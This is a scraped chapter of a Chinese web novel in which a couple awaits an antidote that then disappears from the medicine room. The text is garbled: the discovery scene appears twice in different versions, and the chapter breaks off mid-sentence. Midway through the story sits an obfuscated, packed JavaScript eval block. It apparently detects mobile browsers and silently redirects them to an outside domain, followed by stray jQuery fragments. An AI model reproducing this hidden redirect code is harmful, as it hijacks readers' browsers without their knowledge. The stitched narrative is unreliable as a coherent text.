第二百五十章

作品:《凤逆天下:毒妃倾世狂医

    ”


    冀容白没接话,只是问:


    “现在到哪一步了?”


    “三味主药和其他辅药,都得先提炼,才能用,”


    紫姨解释说,


    “等药汁提炼好了,再按方子上的比例配好,熬制就行。”


    “大概还要多久?”冀容白又问。


    “顺利的话,明晚应该差不多。”紫姨估摸着。


    冀容白点点头,依旧没有要离开的意思。


    紫姨是过来人,哪能不明白他的心思。


    她眼珠一转,计上心来,故意说道:


    “哎呀,这时辰也不早了,小姐,您和将军奔波了一天,肯定累坏了,不如先回去歇着,这里有我盯着就好。”


    茅清兮摇了摇头,语气坚定:


    “不行,我得留下来,万一有什么事,我也能搭把手。”


    “哎呀,小姐,您就放心吧,这儿有我呢,出不了岔子。”


    紫姨一边说,一边朝冀容白使了个眼色,


    “您看将军,这大晚上的,还特意跑过来,肯定也是担心您。您要是不回去,将军哪能安心啊?”


    她故意顿了顿,又补充道:


    “再说,您要是不放心,明早再让绿绿和绮巧过来帮忙,也是一样的。”


    紫姨话都说到这份上了,茅清兮再坚持留下,就显得有些不近人情了。


    她犹豫了一下,只好点了点头:


    “那……好吧,有事你随时叫我。”


    “哎,您就放心吧!”紫姨满口答应。


    茅清兮这才跟着冀容白回了房。


    冀容白牵着茅清兮的手,两人并肩走在回廊上。


    夜风微凉,月色如水。


    “等我毒解了,你……想让我为你做什么?”


    冀容白突然开口,打破了沉默。


    茅清兮认真地想了想:


    “咱们俩还没好好比试过呢,等你好了,咱们切磋切磋,看看谁更厉害。”


    冀容白原本还期待着她说些什么,结果就等来了这么一句,顿时有些哭笑不得。


    他停下脚步,伸手揽住她的腰,在她腰间轻轻捏了一把,语气中带着几分无奈,几分宠溺:


    “就这个?没别的了?”


    茅清兮眨了眨眼,一脸茫然:


    “啊?还有什么?”


    冀容白的手指,开始不安分地在她腰间游走,暗示的意味,再明显不过。


    茅清兮这才反应过来,耳根微微泛红,有些羞赧地低下头:


    “那个……等你好了再说。”


    冀容白想起两人新婚之夜,茅清兮就质疑他“不行”,这让他耿耿于怀至今。


    当时他病体未愈,确实有心无力。


    可如今不一样了,沈大夫给他开的那些药,效果还是很显著的。


    他觉得自己,完全可以!


    冀容白一个打横抱起茅清兮,大步朝卧房走去。


    茅清兮惊呼一声,下意识地搂住了他的脖子。


    进了屋,冀容白直接把她压在了床上,低头,在她唇上轻轻咬了一口,声音低沉而沙哑:


    “娘子,不如现在就试试,看为夫……到底行不行?”


    茅清兮被他这突如其来的举动弄得又羞又窘,却又忍不住想笑。


    两人嬉闹了一阵,冀容白才放开她。


    他知道,茅清兮心里还惦记着解药的事,不可能完全放松下来。


    他也不想逼她。


    冀容白侧身躺在她身边,将她揽入怀中,轻轻拍着她的背,哄她入睡。


    夜渐渐深了,万籁俱寂。


    五更时分,茅清兮突然惊醒。


    几乎是同时,冀容白也睁开了眼睛。


    “我去看看,解药怎么样了。”


    茅清兮轻声说道,声音里还带着一丝惺忪睡意。


    冀容白刚想说陪她一起去,门外就传来富峻急促的敲门声,声音里带着难以掩饰的惊慌:


    “主子!出事了!解药……解药不见了!”晨曦微露,天边泛起一丝浅淡的胭脂色。


    茅清兮猛地睁开眼,从梦魇中挣脱,胸口剧烈起伏,像是刚跑完一场马拉松。身旁的冀容白几乎同时坐起身,伸手将她揽入怀中,轻拍她的后背,无声地安抚。


    “做噩梦了?”


    他声音低沉而沙哑,带着一丝关切。


    茅清兮没有回答,只是将头埋在他的胸口,深深地吸了一口气,努力平复着紊乱的心跳。她梦见寒星露的解药被毁,冀容白毒发身亡,而她孤身一人,被困在无尽的黑暗中,绝望而无助。


    “我去看看解药……”


    她声音轻颤,像是怕惊扰了什么。


    冀容白的手臂收紧,将她抱得更紧了些:


    “我陪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369747|179210||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你去。”


    他语气坚定,不容置喙。


    话音未落,一阵急促的敲门声如惊雷般炸响,将两人从沉重的气氛中惊醒。富峻的声音在门外响起,带着前所未有的慌乱和焦急:


    “主子!夫人!出大事了!解药……解药不见了!”


    茅清兮的心,瞬间沉到了谷底,像是被一只无形的手狠狠攥住,疼得她几乎无法呼吸。她猛地推开冀容白,胡乱地抓起一件外衣披在身上,赤着脚就往外冲,连门槛都差点绊倒她。


    冀容白紧随其后,脸色铁青,一言不发,周身散发着令人胆寒的戾气。


    两人一路疾奔,来到药房。只见紫姨面无人色地瘫坐在椅子上,像是被抽走了全身的力气,眼神空洞而茫然。绿绿则倒在一旁,人事不省,像一具没有生命的木偶。


    “小姐……”


    紫姨看到茅清兮,像是看到了救星,挣扎着想要站起来,却双腿一软,险些摔倒。


    “别动!先告诉我,到底怎么回事?!”


    茅清兮厉声喝止,语气急促,但努力保持着冷静。


    “解药……我明明已经制好了……”


    紫姨的声音颤抖得不成调子,带着浓重的哭腔和自责,


    “可我……我突然觉得头晕目眩,然后就什么都不知道了……绿绿也……也倒下了……”


    她断断续续地描述着,眼泪像断了线的珠子,


    “等我醒过来,发现……解药已经不见了……”


    茅清兮只觉得眼前一阵阵发黑,身体摇摇欲坠,仿佛下一秒就要倒下。她强撑着一口气,扶住身旁的桌子,才勉强站稳。


    冀容白站在她身后,一言不发,但紧握的双拳,指节泛白,手背上青筋暴起,显示出他内心的极度不平静。


    “富峻,查!给我仔仔细细地查!府里上上下下,一个角落都不能放过!”


    他咬牙切齿地吩咐道,声音像是从牙缝里挤出来的,带着压抑不住的怒火。


    “是!”


    富峻的声音也带着哭腔,他知道,解药不见,意味着什么。他带着侍卫,像一群红了眼的狼,在府里展开了地毯式的搜索。


    然而,一刻钟过去了,两刻钟过去了……


    富峻回来了,却带来了一个更令人震惊的消息。


    “主子,夫人,府里……都找遍了,没有……没有找到解药,而且…